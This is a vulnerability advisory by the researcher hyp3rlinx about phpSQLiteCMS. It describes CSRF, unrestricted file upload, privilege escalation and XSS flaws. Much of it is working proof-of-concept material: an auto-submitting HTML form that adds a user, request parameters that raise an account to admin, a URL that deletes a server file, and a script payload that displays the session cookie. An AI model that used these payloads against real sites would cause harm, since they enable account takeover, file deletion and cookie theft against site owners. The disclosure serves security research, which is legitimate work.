[+] Credits: John Page ( hyp3rlinx )
[+] Domains: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-PHPSQLITECMS0712.txt
ilosuna-phpsqlitecms-d9b8219
CSRF, Unrestricted File type upload, Privilege escalation & XSS Vulnerabilities.
User will be affected if they visit a malicious website or click any infected link.
Possibly resulting in malicious attackers taking control of the Admin / CMS area.
We can add arbitrary users to the system, delete arbitrary web server files
and escalate privileges, as no CSRF token is present.
The following request variables are all that is needed to add users to system.
mode = users
new_user_submitted = true
name = "hyp3rlinx"
pw = "12345"
pw_r = "12345"
Under users area in admin we can easily gain admin privileges, again using CSRF vulnerability we
submit form using our id and change request variable to type '1' granting us admin privileges.
e.g.
mode:users
edit_user_submitted:true
id:3
name:hyp3rlinx
new_pw:
new_pw_r:
type:1 <------make us admin
The following request parameters are all we is need to delete files from media or files directorys
under the web servers CMS area.
mode=filemanager
directory=files
delete=index.html
confirmed=true
We can steal PHP session cookie via XSS vulnerability
The files & media dirs will happily take .PHP, .EXE etc… and PHP scripts when selected will execute
whatever PHP script we upload.
<script>
function doit(){
var e=document.getElementById('evil')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="evil" action="http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php" method="post">
<input type="text" name="mode" value="users"/>
<input type="text" name="new_user_submitted" value="true"/>
<input type="text" name="name" value="hyp3rlinx" />
<input type="text" name="pw" value="abc123" />
<input type="text" name="pw_r" value="abc123" />
</form>
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php
mode=users&edit_user_submitted=true&id=3&name=hyp3rlinx&new_pw=&new_pw_r=&type=1
Below request URL will delete the index.html file in files dir on web server without any type
of request validation CSRF token etc.
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=filemanager
&directory=files&delete=index.html&confirmed=true
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=comments&type=0&
edit=49&comment_id="/><script>alert('XSS by hyp3rlinx '%2bdocument.cookie)</script>&page=1
Vendor Notification: NA
July 12, 2015 : Public Disclosure
High
Request Method(s): [+] POST & GET
Vulnerable Product: [+] ilosuna-phpsqlitecms-d9b8219
Vulnerable Parameter(s): [+] comment_id, delete, type, new_user_submitted
Affected Area(s): [+] Admin & CMS
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
(hyp3rlinx)